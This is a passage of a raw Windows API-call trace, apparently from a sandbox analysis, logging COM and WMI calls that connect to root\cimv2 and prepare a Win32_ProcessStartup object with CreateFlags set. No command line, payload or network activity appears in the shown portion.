CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bce7940) returned 0x0 [0142.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce7940, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0142.703] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce7940, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bcda1e0) returned 0x0 [0142.703] WbemDefPath:IUnknown:Release (This=0x1bce7940) returned 0x0 [0142.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bcda1e0) returned 0x0 [0142.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0142.703] WbemDefPath:IUnknown:AddRef (This=0x1bcda1e0) returned 0x3 [0142.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0142.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0142.703] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bce7980) returned 0x0 [0142.703] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.704] WbemDefPath:IUnknown:Release (This=0x1bce7980) returned 0x3 [0142.704] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0142.704] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0142.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0142.704] WbemDefPath:IUnknown:Release (This=0x1bcda1e0) returned 0x2 [0142.704] WbemDefPath:IUnknown:Release (This=0x1bcda1e0) returned 0x1 [0142.704] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0142.704] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0142.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda1e0, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bcda1e0) returned 0x0 [0142.704] WbemDefPath:IUnknown:AddRef (This=0x1bcda1e0) returned 0x3 [0142.704] WbemDefPath:IUnknown:Release (This=0x1bcda1e0) returned 0x2 [0142.704] WbemDefPath:IWbemPath:SetText (This=0x1bcda1e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0142.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda1e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.704] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda1e0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0142.704] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda1e0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.704] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0142.704] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0142.704] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0142.704] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.705] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc6fea0) returned 0x0 [0142.705] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc6fea0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0142.705] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc6fea0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc70000) returned 0x0 [0142.705] WbemLocator:IUnknown:Release (This=0x1bc6fea0) returned 0x0 [0142.705] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc70000) returned 0x0 [0142.705] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0142.706] WbemLocator:IUnknown:AddRef (This=0x1bc70000) returned 0x3 [0142.706] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0142.706] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0142.706] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0142.706] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0142.706] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0142.706] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0142.706] WbemLocator:IUnknown:Release (This=0x1bc70000) returned 0x2 [0142.706] WbemLocator:IUnknown:Release (This=0x1bc70000) returned 0x1 [0142.706] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0142.706] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0142.706] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc70000, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc70000) returned 0x0 [0142.706] WbemLocator:IUnknown:AddRef (This=0x1bc70000) returned 0x3 [0142.706] WbemLocator:IUnknown:Release (This=0x1bc70000) returned 0x2 [0142.706] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda1e0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda1e0, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0142.706] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda1e0, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.706] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc70020) returned 0x0 [0142.706] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc70020, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bb817a0) returned 0x0 [0142.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb817a0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bc426e0) returned 0x0 [0142.821] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bc426e0, pProxy=0x1bb817a0, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0142.821] WbemLocator:IUnknown:Release (This=0x1bc426e0) returned 0x1 [0142.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb817a0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bc42720) returned 0x0 [0142.821] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb817a0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bc426e0) returned 0x0 [0142.821] WbemLocator:IClientSecurity:SetBlanket (This=0x1bc426e0, pProxy=0x1bb817a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0142.821] WbemLocator:IUnknown:Release (This=0x1bc426e0) returned 0x2 [0142.821] WbemLocator:IUnknown:Release (This=0x1bc42720) returned 0x1 [0142.821] CoTaskMemFree (pv=0x1bcc31c0) [0142.821] WbemLocator:IUnknown:AddRef (This=0x1bb817a0) returned 0x2 [0142.822] WbemLocator:IUnknown:Release (This=0x1bc70020) returned 0x0 [0142.822] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0142.822] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0142.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb817a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bc426f0) returned 0x0 [0142.822] WbemLocator:IRpcOptions:Query (in: This=0x1bc426f0, pPrx=0x1bc6ffc0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0142.822] WbemLocator:IUnknown:Release (This=0x1bc426f0) returned 0x2 [0142.822] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0142.822] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0142.822] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb817a0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bb817a0) returned 0x0 [0142.822] WbemLocator:IUnknown:Release (This=0x1bb817a0) returned 0x2 [0142.822] SysStringLen (param_1=0x0) returned 0x0 [0142.822] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda120, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0142.822] WbemDefPath:IWbemPath:GetText (in: This=0x1bcda120, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0142.823] IWbemServices:GetObject (in: This=0x1bb817a0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1aa273f0, ppCallResult=0x0) returned 0x0 [0142.876] IWbemClassObject:Get (in: This=0x1aa273f0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0142.876] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0142.876] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0142.877] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0142.877] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0142.877] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0142.877] IUnknown:Release (This=0x1a943398) returned 0x1 [0142.879] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc70020) returned 0x0 [0142.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc70020, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0142.879] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc70020, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bcda2a0) returned 0x0 [0142.879] WbemDefPath:IUnknown:Release (This=0x1bc70020) returned 0x0 [0142.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bcda2a0) returned 0x0 [0142.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0142.879] WbemDefPath:IUnknown:AddRef (This=0x1bcda2a0) returned 0x3 [0142.879] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0142.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0142.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc6ff80) returned 0x0 [0142.880] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc6ff80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0142.880] WbemDefPath:IUnknown:Release (This=0x1bc6ff80) returned 0x3 [0142.880] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0142.880] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0142.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0142.880] WbemDefPath:IUnknown:Release (This=0x1bcda2a0) returned 0x2 [0142.880] WbemDefPath:IUnknown:Release (This=0x1bcda2a0) returned 0x1 [0142.880] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0142.880] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0142.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcda2a0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bcda2a0) returned 0x0 [0142.880] WbemDefPath:IUnknown:AddRef (This=0x1bcda2a0) returned 0x3 [0142.880] WbemDefPath:IUnknown:Release (This=0x1bcda2a0) returned 0x2 [0142.880] WbemDefPath:IWbemPath:SetText (This=0x1bcda2a0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0142.880] IWbemClassObject:Get (in: This=0x1aa273f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27513a0*=0, plFlavor=0x27513a4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27513a0*=19, plFlavor=0x27513a4*=0) returned 0x0 [0142.880] IWbemClassObject:Get (in: This=0x1aa273f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27513a0*=19, plFlavor=0x27513a4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27513a0*=19, plFlavor=0x27513a4*=0) returned 0x0 [0142.880] IWbemClassObject:Put (This=0x1aa273f0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0142.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcda060, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0142.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0142.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0142.881] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.881] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, 